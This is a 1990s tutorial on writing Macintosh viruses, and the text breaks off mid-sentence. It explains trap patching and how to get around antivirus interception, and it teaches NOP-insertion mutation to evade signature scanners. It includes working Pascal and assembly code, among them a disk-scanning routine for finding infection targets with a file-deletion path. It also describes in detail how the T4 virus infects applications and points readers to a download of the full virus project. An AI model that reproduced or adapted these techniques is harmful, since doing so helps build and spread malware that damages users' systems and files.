A SHORT TUTORIAL ON HOW TO WRITE A MACINTOSH 
VIRUS WITH EXAMPLES

1: INTRODUCTION. WHAT IS A MACINTOSH VIRUS?

A macintosh virus is a virus that targets specifically the Mac OS. A Mac virus takes advantage 
of the sophisticated Mac OS System, and replicates by attaching copies of itself to other files. It can 
attach copies of itself to executable programs (APPLs) as well as non-executable files such as plain 
TEXT files, or Extension Files, Control Panel files, Startup files and files that belong to any program.

2: MEMORY RESIDENT (MR) AND DISK BASED (DB) VIRUSES

Currently, all the Mac viruses fall into two basic categories: Memory Resident viruses and Disk 
Based viruses. MR viruses load into memory and stay there when an infected file is run, until a hard 
restart is executed. They usually infect files as they are opened, or executed. The advantages of the 
MR viruses is that they are always loaded once an infected file is run, and operate in the background. 
They also do not require directory scanning procedures, as the OS provides the virus with the file to 
be infected upon launching of that file. These viruses usually also infect files that are irrelevant to 
their survival, as they attempt to infect whatever the OS feeds them with. For example, if there is a 
MR virus loaded and the user clicks on say a word doc, the virus may infect the document file prior to 
infecting the owner application. The most famous MR viruses are the ones that try to "replace" Mac 
OS resources, such as MDEFs (Menu Definition Function code resources), WDEFs (Window 
Definition Function code resources) and CDEFs (Control Definition Function code resources). These 
resources are regular code resources of the Mac OS System, and the System itself contains and 
maintains plenty of these, are they are vital to its operation. For example, the Mac OS draws the basic 
window frames, the window bar, the zoom and close boxes and the grow icon using the WDEF with 
resource id of 0. This resource was stored in the System file in early Systems, but was later put into 
ROM, as it is often used. However, even when the code resource is in ROM, sometimes the System 
file contains an alternate WDEF resource, with the same resource id as that of the ROM, in case in 
needs to bypass the code resource in ROM. This will be explained later in detail. The disadvantages of 
MR viruses are many. The most obvious is that the System keeps changing very often (At the time of 
this writing, OS 8 is out) and therefore the corresponding code resources are changed as well. This 
means that if you had programmed a WDEF virus into System 7.x.x, the virus may become obsolete 
when it passes into a newer System. The most famous example was the early WDEF Mac virus, which 
infected the Desktop file on Systems up to 6.0.8. The desktop file was changed into a data fork only 
file in versions 7.x.x, thus the virus stopped functioning.
The second category is the DB viruses. These viruses are notably more stable, and less 
dependent on System resources. They do their work independently with each infected application that 
is run, and usually require some sort of directory scanning in order to fetch the next file to be infected. 
They load into memory once with every infected file run. DB viruses are notably larger than MB ones, 
but may infect applications that are never run, and may even infect files more than once. They depend 
on intricate techniques of file manipulation, and usually take some time to do their job. But, as I 
already mentioned, they are immune to System changes and may be easier to adapt if you decide to 
reprogram them at a later time.
MR viruses, usually try to infect the System first. Once this is achieved, every time the Mac OS 
loads, the virus will activate. DB viruses usually do not infect the System, rather they go directly to 
application files.
Technically, there is a distinction between viruses that infect APPLs and Startup documents. 
There are viruses that infect only Startup docs, such as INITs and Control Panels, while there are 
viruses which infect only APPLs. The viruses that infect Startup docs multiply much less often that 
those who infect APPLs, as Startup documents are less frequently shared. People usually share 
applications much more often. But, there are some viruses which can do both: They can use 
applications for propagation purposes, but their main work is done while being loaded off a Startup 
document in which they reside.
For a full catalog of the known mac viruses and short descriptions, try downloading John 
Nosrtad's program Disinfectant from Northwestern University. For in depth short analyses of how the 
most common of the known ones work, go to the Virex site and start poking around in  the "animal 
zoo" section.

PREREQUISITES: WHAT DO I NEED TO KNOW TO BE ABLE TO 
WRITE A MAC VIRUS?

Macintosh virus writing is serious business and it is not easy. You need to be familiar with a 
plethora of resources, most of which have to do with knowing how the Mac OS operates and how 
programs work. If you have no experience whatsoever, I suggest FIRST AND FOREMOST, 
downloading the entire Inside Macintosh Manuals from the Apple ftp Site 
(ftp.appleccom/devtools/documentation/Inside Macintosh/). Or if you prefer, order it on CD from 
APDA. Without the Inside Macintosh manuals, don't even think about it. Quit now, while you have 
your sanity.
The second thing you DEFINATELY need, is to be a good Mac programmer and to have some 
experience programming at least a dummy application for the Mac. If you don't know how to program 
the Mac, forget it. There are plenty of good development Mac packages out there, notably for C, 
Pascal and Assembly. If you've never programmed a Mac application of some sort, quit now.
The third thing you need to know, is of course the 680x0 Assembly language. While the newer 
macs use the PowerPC RISC chip, you definitely need to know 680x0 assembly, in order to be 
backwards compatible. You cannot expect your virus to run only on PowerPC machines. That's 
unrealistic. While PowerPC Assembly language is useful, you will find yourself spending most of your 
time coding in 680x0 assembly. And that's because most of the internal Mac OS routines are still in 
680x0 assembly code.
You will definitely need a good Assembly language development package. I suggest MPW 
3.x.x or some dev package that allows you to embed inline code into your programs.  (I use THINK 
Pascal 4.0.2) You may use C if you prefer, and use the asm {} directive. The choice is entirely up to 
you. Just make sure that the development package you use, has utilities for programming in 680x0 
asm.
You will need a good disassembler. The one I use is the code editor for ResEdit 2.1.3, or 
Resourcerer, which has one built in. Either way, you will find yourself spending hours upon hours of 
your time examining your compiled or assembled code. And at this level of programming, you need 
all the help you can get. You cannot be too careful with this. One simple mistake and the virus will 
blow your System into smithereens.
You will also need a good AV program that PREVENTS infections, so you can track your 
virus while testing it. I use Chris Johnson's GateKeeper, which gives one a complete warning about 
what is being modified, and by whom. Without such a program, you cannot test a virus and chances 
are it will escape into your machine. If this happens, you will have no way to disinfect your System, 
except manually and IF you know how. You may use Symantec's SAM, or Virex. It doesn't matter. 
Just make sure you have a way to be notified if an infection occurs. Without it, virus testing is 
impossible. And believe me, you will be spending many hours testing your code.
It is a good idea to have MacsBug installed into your System as well, so you can test code at 
runtime. Something which static disassemblers cannot do. You can get MacsBug from the Apple ftp 
site.

WHAT DEVELOPMENT PACKAGE CAN I USE?

You may use any package that has facilities for creating stand alone code segments, such as 
WDEF's, CDEF's, MDEFs, MBDFs, and stand alone code modules, such as DRVRs and other CODE 
resources. It does NOT have to be an assembly language package, but it may be for example 
Symantec's C compiler with the asm {} directive, or THINK Pascal (which allows for Inline code in 
the form of $xxxx). I believe that for a beginner virus writer, the MPW package is probably the best 
choice, as it offers, three or four compilers in one. It has both 680x0 and PowerPC native Assemblers, 
a C native compiler, and a Pascal 680x0 compiler. Good value for your money. The virus examples 
that will follow at the end of this article were all written using THINK Pascal, but they could have 
been written in any other development package that supports inlining of embedded code. However, 
understand that if you use a higher language development package, you have to be thoroughly 
familiar with how the specific compiler works, from the way it allocates stack frames, to the sizes of 
the argument variables, to quality of code generation. I spent 5 years working with the THINK Pascal 
compiler before I attempted to write the viruses. The advantages of using a high level language are 
hard to come by. Even for virus writing. For example, as you will see, directory scanning is non-
trivial business, and is easily implemented in Pascal. If you try to code directory scanning in asm, you 
will have to test the thing for months before it worked. The main disadvantage of a higher language is 
that the compiler usually inserts runtime code into your modules which the virus will carry with it 
(dead code) always. There are tricks around this, and if your compiler can create stand alone modules,  
(such as a MDEF) then it will NOT embed unneeded runtime code. One other disadvantage of higher 
languages is the lack of global data and difficult register manipulation. You virus will definitely need 
scratch variables, and you have to be careful to allocate all of these independently of the program's 
global variables. A well balanced stack and careful use of dynamic memory can be a solution to that. 
If you do not allocate many excess variables, you can do it either dynamically or statically, with very 
little interference from the host. If you manage your memory carefully, your host will only be happy to 
oblige you. If you make large memory requests though, be prepared to see the host crashing, as it has 
no assumptions on what your virus is doing underneath its back. Usually, the largest memory request 
that needs to be made on the host, is the size of the virus itself and this cannot exceed a couple of K at 
the most. Of course, if you use assembly language, you have complete freedom over your variables, 
which can be allocated regularly at the end of the virus body. This is the best advantage of assembly 
language. You also have to be careful not to interfere with the registers of your compiled code 
resource, if you use a high level language. The best practice is to save all the registers (A0-A4/D0-D7) 
RIGHT AFTER your virus entry point, and restore them RIGHT BEFORE your virus exit point. This 
way, the host will find its registers intact after your virus finishes executing. Don't touch registers A5, 
A6 and A7. A5 is used to reference the host's global variables, (details in Inside Macintosh) and 
chances are if you mess with it, the host will crash. A6 is used for static link frames, so either your 
compiler will take care of that, or you if you are breaking your virus code into sub-procedures in asm. 
A7 is used as the stack pointer. The use of A7 in an uninfected application and in an infected one is 
NEVER the same. And that's because the virus will definitely modify the stack a bit for its own 
private storage and links. Be very careful to allocate and deallocate correctly your stack frames. 
Unbalanced stacks are crash cause #1 in virus testing. You will see an example of the dangers lurking 
behind an unbalanced stack in the CODE 32767 example, later in this article.

SYSTEM TRAPS AND TRAP PATCHING

As you know, the characteristic look and feel of any Mac program is due mainly to the 
extensive use of many System Traps that correspond to specific routines in Inside Macintosh. For 
example, most of the procedures in Inside Macintosh are actually routines that get executed when the 
processor tries to execute an instruction of the form $Axxx. The 680x0 processor does not recognize 
such instructions (as well as $Fxxx) and when it encounters one, it generates an exception. An 
exception vector takes control and the system calculates an address based on the number that follows 
the A digit. The details are in IM. For example, the procedure call 
"AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly code:

00000008: 2F2E FFFC          MOVE.L    theHandle(A6),-(A7)
0000000C: 2F3C 4D44 4546     MOVE.L    #$4D444546,-(A7); 'MDEF'
00000012: 3F3C 0020          MOVE.W    #$0020,-(A7)
00000016: 486E FEFC          PEA       myCDEF(A6)
0000001A: A9AB               _AddResource

As you can see, the parameters are first pushed onto the stack and then the trap $A9AB is executed. 
In reality, the trap is never executed. It generates an exception that dispatches the PC onto some table 
that contains the addresses of all the system routines. The table looks something like this:

Trap #		Routine Address
...		...
$A9AB		$3501980 (routine address with index 171 of table)
$A9AC		$9ACD0F0 (routine address with index 172 of table)
$A9AD		$8709FFA (routine address with index 173 of table)
...		...

The System calculates the specifics of the dispatch based on the binary representation of the 
trap: 
$A9AB=1010100110101011

Bit 8 for example is the bit that charachterizes toolbox traps. The first 7 bits (from right) 
provide the index into the trap dispatch table. (Here $AB=171). More details in Inside Macintosh.
Now as you may have suspected, it is obvious that ANY address can be installed in a specific 
trap dispatch table entry. For example, we don't have to have address $3501980 in entry 171. We can 
install a different address, that corresponds to a different routine. But because usually the functionality 
of the original needs to be preserved, we need to be able to call the original routine as well. The way 
to do that is called "Trap Patching". It is the process of installing a "patch" (head or tail) to the actual 
routine's address. We can install something prior to calling the original (called head patch) or 
something that post-processes the original (tail patch). What follows is an example of how to write a 
routine patch. For simplicity, I will use here the routine for "DrawString(theStr:Str255)".
The  patch consists of two separate projects. The actual patch code (an MPW asm file) and a 
THINK Pascal project that creates an INIT that installs the new routine at startup.

File DrawStringPatch.a
		STRING	ASIS

		INCLUDE	'SysEqu.a'
		INCLUDE 	'SysErr.a'
		INCLUDE	'ToolEqu.a'
		INCLUDE	'Traps.a'

		SEG	'DrawStringPatch'
DrawStringPatch	MAIN
Entry
	BRA.S	MyDrawString	;branch around next 4 bytes
OldDrawString
	DC.L	0			;original address is stored here!!
;what follows from here is the actual pre-processing code
MyDrawString
	MOVEM.L	A0-A4/D0-D7,-(SP)	;save registers
	MOVE.W	#4,-(SP)		;push integer 4 onto stack
	_SysBeep				;sound the beeper
;end of pre-processing code
ExitPatch
	MOVEM.L	(SP)+,A0-A4/D0-D7	;restore registers
	MOVE.L	OldDrawString,A0	;get address of old DrawString
	JMP	(A0)				;see ya baby...
	END

The build MPW commands to create the patch code segment:

asm -o DrawStringPatch.a.o DrawStringPatch.a
link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt 'PTCH'=35 -ra 
DrawStringPatch=resSysHeap,resPreload,resLocked

File InstallDrawStringPatch.p

unit InstallAPatch;
interface
 procedure Main;
implementation
 const
  _DrawString = $A884;	{Trap number for DrawString routine}
 type
  PTCHHeader = record	{look at the asm file}
    BRAS: integer;	{the first instruction is a BRA.S}
    OriginalAddress: longint;	{the place we store original address}
   end;
  PTCHHeaderPtr = ^PTCHHeader;	{Master pointer}
  PTCHHeaderHandle = ^PTCHHeaderPtr;	{Handle}
 procedure Main;
  var
   thePTCH: Handle;
 begin
  thePTCH := GetResource('PTCH', 35);{load the resource into mem}
  if thePTCH <> nil then		{if good handle}
   begin
{Store OriginalAddress at header of resource. Look at asm file}
    PTCHHeaderHandle(thePTCH)^^.OriginalAddress := 			
	NGetTrapAddress(_DrawString, ToolTrap);
{now set trap dispatch table address}
{to Entry Point of Patch (Entry))
    NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap);
    DetachResource(thePTCH);	{detach from memory}
   end;
end;
end.

Create the INIT with id=35 with the THINK Pascal project.
After you assemble the MPW asm file, open the code segment patch file with ResEdit and copy 
the 'PTCH' resource into the INIT which you created with the THINK Pascal project. Then, put the 
INIT into your System folder. Be prepared for thousands of beeps.
OK, now for the analysis of what we have done: First the MPW file. As you can see there are 
certain params for the assembler which you should take for granted for now. The first instruction is a 
BRA.S MyDrawString. This forces the PC to immediately go to label "MyDrawString". Just to avoid 
hitting the actual address which is at "OldDrawString". So now, we are in our space. We can do 
whatever we want. The original has not been called yet and we have all the tools at our disposal. Here, 
we do something simple, like sound the beeper. Next, after we are done with whatever we want to do, 
we restore the regs, and load the original address from the place where the Pascal INIT has put it at 
run time: At "OldDrawString". And finally JMP to that location, which forces the original to be 
called. That's it. A couple of things to note: We use a JMP and not a JSR. Can you tell why? Because 
the original routine is responsible for returning to the caller of the _DrawString trap. IF we wanted to 
do a tail-patch, we would call JSR (A0) and the original routine would return to us, first, we could 
then do post-processing and then return to the caller! This is left as an exercise to the reader.

HOW MAC ANTIVIRAL PROGRAMS WORK

Ok, so why all the fuss with Trap patching? Well you guessed it: AV programs use it to 
PREVENT viruses from using unauthorized calls of System Routines. For example, an AV such as 
GateKeeper or SAM Intercept, head-patches certain traps and intercepts the calls to the originals. It 
looks at the user, tries to figure out what's being modified and which file is being affected BEFORE 
the original routine is called. That way, if it is an unauthorized call, the original routine is never 
called. Smart enough? This is the main technique todate that most preventive AV programs use. The 
main reason why this technique is so successful is because there is no easy way to extract the original 
address of the routine that's patched. For example, a good virus would look at the trap address, figure 
out if it is patched, and if it is, it will try to extract the original, say, "AddResource" address and use 
that instead of going through the AV patch. But how does one extract the original address? Very good 
question. And it has no easy solution, as the program that patches the trap (notably an AV) can store 
the original address anywhere it wants for its own use. You saw how we stored it at "OldDrawString". 
It could have been anyplace in our code. If you are good in disassembling 680x0 code, you can load 
GateKeeper and trace one of the famous virus routines, such as "AddResource" or "ChangedResource" 
and try to figure out using MacsBug where the original address is hidden. But even if you succeed, the 
success will only be valid for the particular AV program. Tough stuff. And another catch: Don't forget 
that the System itself patches traps with newer versions of routines that are unavailable to ROM. So it 
is really hard to recover the original address, because many patches on top of each other may exist.

A WORD ON MAC DISINFECTING AV PROGRAMS AND 
MUTATION

Besides PREVENTIVE AV programs, there are also the famous DISINFECTION programs, 
that remove viruses on already infected Systems. The most famous ones are Disinfectant by John 
Norstad of NorthWestern U, SAM by Symantec and Virex. I will not address by example the question 
of how these programs detect viruses, even though you are pretty familiar with the technique already. 
The programmers of these programs, take a virus, analyze its behavior, look at its code, and try to 
determine the most likely pattern to occur with each infection. To my knowledge only some strands of 
the 'nVIR' Mac virus can mutate. There haven't been any other mac viruses that mutated. But 
mutation is not very hard to implement. The most common form of mutation consists of inserting lots 
of NOP instructions ($4E71 for the 680x0) in the viral code and has as its object to prevent the 
examiner from extracting a stable byte pattern with which to recognize the virus. For example, if the 
examiner finds that the byte pattern "$DEADBEEF" occurs inside the virus code, if the virus mutates 
he has no way to foretell whether the next hybrid will contain this pattern. The virus may have 
changed at exactly this place and may have become "$DEAD4E71BEEF". As such, if the AV 
program was looking for the pattern "$DEADBEEF" it would fail. BUT, if it looked for BOTH the 
patterns "$DEAD" AND "$BEEF" it would detect it. However, the math of pattern matching in 
mutation is really crappy, as there is this little theorem that says that fake alerts come about when the 
pattern splits into smaller and smaller pieces. In the previous example, with every pattern split search, 
such as "$DEAD" AND "$BEEF" chances increase that these byte patterns will show up normally in 
uninfected hosts, so the AV program will report a fake alert. For even better results, break your code 
even further. If your code looked like $DE, $4E71, $4E71, $AD, $4E71, $BE, $4E71, $4E71, $4E71, 
$EF, it would really be hard for an AV to detect it, as  these byte patterns ($DE, $AD, $BE,$EF) may 
occur naturally throughout the regular host code. So be creative. Insert as many NOPs as you like, 
without making your virus too bulky or too complicated. Remember that every time you insert NOPs 
into your code, you have to adjust your branching points, so that the new hybrid uses the correct 
branching mechanisms without branching to twilight zone. This is an acute problem with the virus's 
memory addressing. If for example you reference your var at $345000AB, the new hybrid will have to 
adjust its reference to account for the code additions in length because of all these extra NOP 
instructions. And sorry to say, these modifications are best written in assembler. If you try to force the 
output of a compiler to mutate you are in deep waters. You will also have to take care to hide your 
mutation engine itself, because IT cannot mutate and if your examiner figures out where it is, your 
virus will be caught. Not everything can mutate. This is a theorem in Mathematics. When you use 
self-reference (and viruses use it all the time), there is one point that has to remain stable throughout. 
Hide your mutation engine well. Also, keep in mind that you cannot insert NOPs everywhere. If you 
insert one in the middle of an instruction, the mac will definitely bomb when it hits it. You have to 
count your boundaries, and these are ends of instructions, or beginnings of instructions. Anyplace else 
is a no-no, unless your NOP mutation is also encryption. In my opinion this would be the best 
combination. An encryption which will use NOPs to mess up the viral code patterns, but which will 
DECRYPT BEFORE it is executed. Thus NOPs are allowed anywhere, and you can break your code 
into many little pieces. On the macintosh, no such virus has been implemented yet as of this writing 
(10/97).

FIRST EXAMPLE: A DIRECTORY SCANNING PROCEDURE

Many potential virus writers usually don't know how to extract the next to be infected file. 
Below is an example of how the user can traverse the entire drive directory, and list all available files. 
This procedure is used modified later to search for potential infection candidates. It would help if you 
had a copy of Inside Macintosh: Files handy. Otherwise you will miss much of the information. Much 
of what follows inside the procedure is pretty trivial. Most of your questions should be resolved by the 
comments. Again, specific questions that you might have usually will pertain to the file manager and 
there is nothing I can do about it. Read Inside Macintosh.

{This program is an example of how the user can scan the directory}
{to list all available files. Additional file filtering examples}
{given in the viruses themselves}
program scandisk;
 label
 1000;
 type
  cinfopbhandle = ^cinfopbptr;	{look at Inside Macintosh:Files}
 var
 theworld: SysEnvRec;	{System Environment record}
 cipbh: cinfopbhandle;	{handle to our cinfopb}
 pathname: str255;		{the returned file pathname}
 scanname: string[31];	{name of the file minus path name}
 foundone: boolean;	{true if we found one file}
 i, j, vrefnum, frame: integer;
 TextRect: Rect;
 time1, time2: longint;
 Delete: boolean;	{will become true if we decide to erase the drive}
 ApplicationFile, SystemFile: boolean;	{kind of file scanned}
 OldTicks: Longint;		{ticks for cursor}
 theAnimatedCursor: array[0..7] of CursHandle; {curs handles for animation}
 OldPort, WaitDialog: DialogPtr;	{graf Pointers}
 procedure ShowWaitDialog;
{This procedure Puts up a wait dialog}
 var
  DialogBounds: Rect;
 begin
  SetRect(DialogBounds, 100, 100, 230, 130);
  GetPort(OldPort);
  WaitDialog := NewDialog(nil, DialogBounds, '', TRUE, 1, Pointer(-1), FALSE, 0, nil);
  SetPort(WaitDialog);
  MoveTo(20, 20);
  TextFont(SystemFont);
  TextSize(12);
  DrawString('Please wait...');
  DrawDialog(WaitDialog);
 end;
 procedure KillWaitDialog;
{Kills the wait dialog above}
 begin
  SetPort(OldPort);
  DisposDialog(WaitDialog);
 end;
 procedure SpinCursor;
{Spins the cursor, for some delay feedback}
  var
 NewTicks: longint;
 begin
  NewTicks := TickCount;
  if abs(NewTicks - OldTicks) >= 50 then
   begin
    frame := (frame + 1) mod 8;
    SetCursor(theAnimatedCursor[frame]^^);
    OldTicks := NewTicks;
  end;
 end;
 procedure nextcleanapp (dirid: longint);
{This procedure Traverses the entire drive and lists all available}
{files by writing their names to th output window}
 var
  indx, ref, i: integer;
  err: oserr;
 begin
  indx := 0;	{start at file index=0 for a specific directory}
  repeat
   indx := indx + 1;
   with cipbh^^ do
    begin
     ionameptr := @scanname;	{give space for return string}
     iofdirindex := indx;		{give object index}
     iodirid := dirid;			{give directory id}
     iovrefnum := 0;		{give vrefnum}
     err := PBGetCatInfo(cipbh^, FALSE);	{call magic trap}
     if (err <> noerr) and (err <> fnferr) then
    writeln(err);	{report if any errors found}
    if err = noerr then
     begin
      if length(pathname) + length(scanname) <= 255 then
       begin
        pathname := concat(pathname, ':', scanname);{stack names}
        if bittst(@ioflattrib, 3) then {if it is a directory then}
         nextcleanapp(iodirid)	{call recursivelly one level down}
        else		{file}
       begin
       ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and 
(ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
       SystemFile := pos(scanname, 'System') <> 0;
       if not Delete and ApplicationFile then		{write APPLs}
        writeln(pathname)    {real call here would be to return the name}
       else if Delete and not ApplicationFile and not SystemFile then
        writeln(pathname);   {real call here would be to HDelete}
       end;
       SpinCursor;
       i := length(pathname);
       j := i;
      while pathname[i] <> ':' do
       i := i - 1;
      pathname := omit(pathname, i, j); {unstack last file name}
     end;{if length<=40}
    end;{if err=noerr}
   end;{with cipbh^ do}
   while Button do
     ;
   until (err = fnferr);
 end;
begin
 SetRect(TextRect, 20, 50, 600, 500);
 SetTextRect(TextRect);
 ShowText;
 if sysenvirons(1, theworld) <> noerr then		{get the environment}
  goto 1000;
 readln(delete);
 pathname := '';
 scanname := '';
 foundone := false;
 vrefnum := theworld.sysvrefnum;
 if setvol(nil, vrefnum) <> noerr then 	{get startup volume}
  goto 1000;
 if getvol(@pathname, vrefnum) <> noerr then 	{get startup volume}
  goto 1000;
 foundone := false;		{tentativelly}
 theAnimatedCursor[0] := GetCursor(WatchCursor);
 for frame := 1 to 7 do
  theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);
 frame := 0;
 OldTicks := TickCount;
 ShowWaitDialog;
{Allocate memory block for our parameter block}
 cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
 if memerror <> noerr then
  goto 1000;		{exit if we can't get the memory}
 movehhi(handle(cipbh));
 hlock(handle(cipbh));		{lock to use}
 nextcleanapp(fsrtdirid);		{search for next uninfected appl}
 hunlock(handle(cipbh));		{unlock to free}
 disposehandle(handle(cipbh));		{dispose of}
 KillWaitDialog;	{kill dialog}
 InitCursor;
1000:
end.

SECOND EXAMPLE: THE T4 VIRUS

DESCRIPTION: 
(The entire T4 virus project can be downloaded from 
<http://codebreakers.simplenet.com>)
*************************************************************************
                      the T4 BACTERIOPHAGE virus
*************************************************************************
The principle behind the T4 virus is simple. Every (correct) Mac application contains the
following calls somewhere in its CODE segments:InitGraf,InitFonts,
InitWindows,InitMenus,TEInit,and InitDialogs. So the virus takes advandage of
the fact that these calls are always there, to use them for its replication.
The initialization code in Pascal looks like this:
InitGraf(@thePort);
InitFonts;
InitWindows;
InitMenus;
TEInit;
InitDialogs(nil); or InitDialogs(@AddressOfResumeProc);
...
depending on whether the programmer has a resume procedure in case of an error, (System 7.x.x does 
not require a resume proc) the code after disassembly looks like this:
***********************************************************
00000014:4E56 0000	;LINK	A6,#$0000	;start of main link frame
00000018:486D xxxx	;PEA	-$xxxx(A5)	;push address of "theport"
0000001C:A86E		;_InitGraf		;initialization starts...
0000001E:A8FE		;_InitFonts		;rest of initialization...
00000020:A912		;_InitWindows	;rest of initialization...
00000022:A930		;_InitMenus		;rest of initialization...
00000024:A9CC		;_TEInit		;rest of initialization...
00000026:42A7		;CLR.L	-(SP)	;push 0 longword (nil ptr)
00000028:A97B		;_InitDialogs	;what makes it possible
0000002A:xxxx		;xxxx			;rest of application code
0000002C:xxxx		;xxxx			;rest of application code
0000002E:xxxx		;xxxx			;rest of application code
00000030:xxxx		;xxxx			;rest of application code
00000032:4E5E		;UNLK	A6	;end of main link frame
00000034:4E75		;RTS			;return to finder
***********************************************************
if instead the programmer had called InitDialogs(@ResumeProc);
the code will look like this:
***********************************************************
00000014:4E56 0000	;LINK	A6,#$0000	;start of main link frame
00000018:486D xxxx	;PEA	-$xxxx(A5)	;push address of "theport"
0000001C:A86E		;_InitGraf		;initialization starts...
0000001E:A8FE		;_InitFonts		;rest of initialization...
00000020:A912		;_InitWindows	;rest of initialization...
00000022:A930		;_InitMenus		;rest of initialization...
00000024:A9CC		;_TEInit		;rest of initialization...
00000026:486D xxxx	;PEA	-$xxxx(A5)	;push address of resume proc
0000002A:A97B		;_InitDialogs	;what makes it possible
0000002C:xxxx		;xxxx			;rest of application code
0000002E:xxxx		;xxxx			;rest of application code
00000030:xxxx		;xxxx			;rest of application code
00000032:xxxx		;xxxx			;rest of application code
00000034:4E5E		;UNLK	A6	;end of main link frame
00000036:4E75		;RTS			;return to finder
***********************************************************
Now the virus will function on the InitDialogs Trap, and add a branch
instruction to its own code, and then return exactly at the point after the
branch, to therefore let the application continue without any interference.
The virus must assume all the managers initialized, so the patch must be AFTER all initialization 
calls and BEFORE the rest of application code.
It follows that there are two possibilities for the patch instructions:
In each case look at the two tables above, and compare with the tables below which are the same 
tables, except that the virus has patched the code.
Case WITHOUT Resume Procedure:
***********************************************************
00000014:4E56 0000	;LINK	A6,#$0000	;start of main link frame
00000018:486D xxxx	;PEA	-$xxxx(A5)	;push address of "theport"
0000001C:A86E		;_InitGraf		;initialization starts...
0000001E:A8FE		;_InitFonts		;rest of initialization...
00000020:A912		;_InitWindows	;rest of initialization...
00000022:A930		;_InitMenus		;rest of initialization...
00000024:A9CC		;_TEInit		;rest of initialization...
00000026:6100 000C		;BSR	*+$000A	;branch to virus (00000036:)
0000002A:xxxx		;xxxx			;rest of application code
0000002C:xxxx		;xxxx			;rest of application code
0000002E:xxxx		;xxxx			;rest of application code
00000030:xxxx		;xxxx			;rest of application code
00000032:4E5E		;UNLK	A6	;end of main link frame
00000034:4E75		;RTS			;return to finder
--------------- VIRUS ----------------------------------------------------------
00000036:xxxx		;xxxx			;start of viral code
00000038:A97B		;_InitDialogs	;don't forget InitDialogs
0000003A:xxxx		;xxxx			;continue viral code
0000003C:xxxx		;xxxx			;continue viral code
0000003E:xxxx		;xxxx			;continue viral code
00000040:xxxx		;xxxx			;continue viral code
00000042:4E75		;RTS			;return to caller (0000002A:)
--------------- VIRUS ----------------------------------------------------------
***********************************************************
Case WITH Resume Procedure:
***********************************************************
00000014:4E56 0000	;LINK	A6,#$0000	;start of main link frame
00000018:486D xxxx	;PEA	-$xxxx(A5)	;push address of "theport"
0000001C:A86E		;_InitGraf		;initialization starts...
0000001E:A8FE		;_InitFonts		;rest of initialization...
00000020:A912		;_InitWindows	;rest of initialization...
00000022:A930		;_InitMenus		;rest of initialization...
00000024:A9CC		;_TEInit		;rest of initialization...
00000026:6100 000E		;BSR	*+$000C	;jump to virus (00000038:)
0000002A:4E71		;NOP			;no operation
0000002C:xxxx		;xxxx			;rest of application code
0000002E:xxxx		;xxxx			;rest of application code
00000030:xxxx		;xxxx			;rest of application code
00000032:xxxx		;xxxx			;rest of application code
00000034:4E5E		;UNLK	A6	;end of main link frame
00000036:4E75		;RTS			;return to finder
--------------- VIRUS ----------------------------------------------------------
00000038:xxxx		;xxxx			;start of viral code
0000003A:A97B		;_InitDialogs	;don't forget InitDialogs
0000003C:xxxx		;xxxx			;continue viral code
0000003E:xxxx		;xxxx			;continue viral code
00000040:xxxx		;xxxx			;continue viral code
00000042:xxxx		;xxxx			;continue viral code
00000044:4E75		;RTS			;return to caller (0000002A:)
--------------- VIRUS ----------------------------------------------------------
***********************************************************
There are several problems the virus may encounter:
1)The application does not call InitDialogs at all. In that case, it is immune against the T4 virus.
2)The toolbox is NOT initialized in the correct order. If this happens, havoc will prevail, since the 
viral body contains calls to the window manager which assumes that InitWindows has been called. 
Note also that the virus must call InitDialogs from within its main body IMMEDIATELLY after the 
branch since that manager must be initialized as well. Finally, the virus will infect any application 
that calls InitDialogs, except maybe those which use strange instructions such as a
MOVE.L	#$00000000,-(SP), to push a longword on the stack.This is however relatively rare, since 
most compilers and assemblers will push a long on the stack using the CLR.L -(SP) instruction. 
(There is a very rare case where the patch code ($42A7,$A97B,CLR.L -(SP),_InitDialogs) is not 
actually initialization, rather, it is data. In this case the virus will patch the wrong place in the code, 
resulting in a bad crash. These cases are very rare though.)
Thus using a correct strategy with appropriate signatures, it may be possible to repeat the above 
process a number of times, every time patching the routine InitDialogs in its new location. This will 
force multiple infections, but will still work.
The virus works as follows: It first scans the disk for files of type APPL. When it finds one, it checks 
if it is already infected, by looking for the signature 'T4VIRS'. If it is infected (i.e. if the signature 
appears somewhere) it leaves the file alone and closes it. Then goes to the next file it finds. If the 
application does not contain the signature T4VIRS, then the virus scans all CODE resources, until it 
finds one with the above or similar initialization sequence. If it doesn't find the initialization sequence 
in any of the CODE segments, the application is immune against the T4 virus. If it finds the trap 
_InitDialogs embedded in one CODE segment, then:
1)It adjusts the CODE resource attributes by subtracting the resprotected
attribute, not changing the other attributes. The older versions of the virus, the ones released in the 
U.S. cleared the resource attributes, thus resulting in corrupted data for the CODE resource segments 
that it processed if the resource is compressed (newer attribute that was added later)
2)It performs a patch on that CODE resource, by inserting the proper 'jump' instructions to the main 
body of the virus, and appends the virus to the end of the current CODE resource. The virus uses as 
little memory as possible, but there is no guarantee that the host will behave normally when it is 
forced to deal with a couple more handles lurking around.
In case of an error, the virus tries to bypass the rest of the viral code,
and exit gracefully, but there is no guarantee that it will not bomb.
In particular, there is one point (the main patch call) where the viral call may fail because of an 
antiviral tool. Every effort has been made to circumvent this point successfully, but there is no telling 
what an antiviral program may do. Another problem will occur if the complete pathname of the 
application to be infected is longer than 255 chars.
Some effort has been made to that extent to avoid this situation by avoiding directories that are nested 
too deep, by scanning for files and directories that are only 255 characters deep. The actual scanning 
depth may be changed to force the virus to scan say only 40 characters deep, eliminating large 
recursive calls, thus minimizing the stack. Another point that needs to be taken care of is the 
registers. Upon exiting the virus body, the application must find the registers containing the exact same
values they had at the moment of entry. Thus, an explicit save on all registers (D0-D7,A0-A5) is required,
since the virus will use some of them. The viral signature (resource type 'cntr') contains an integer counter
in the first byte. The byte starts at the value of 0. Every time the infected application is run, the counter
is incremented by 1. When the counter reaches values that are multiple of 10, the virus will show on 
screen the icon of a small virus. The virus may reinfect an application, with probability 1 in 100. The 
older versions of the virus, (the ones released in the U.S.) used a different tactic on infecting 
applications. The infection resource was of type 'STR ', and the counter was the first byte (the length 
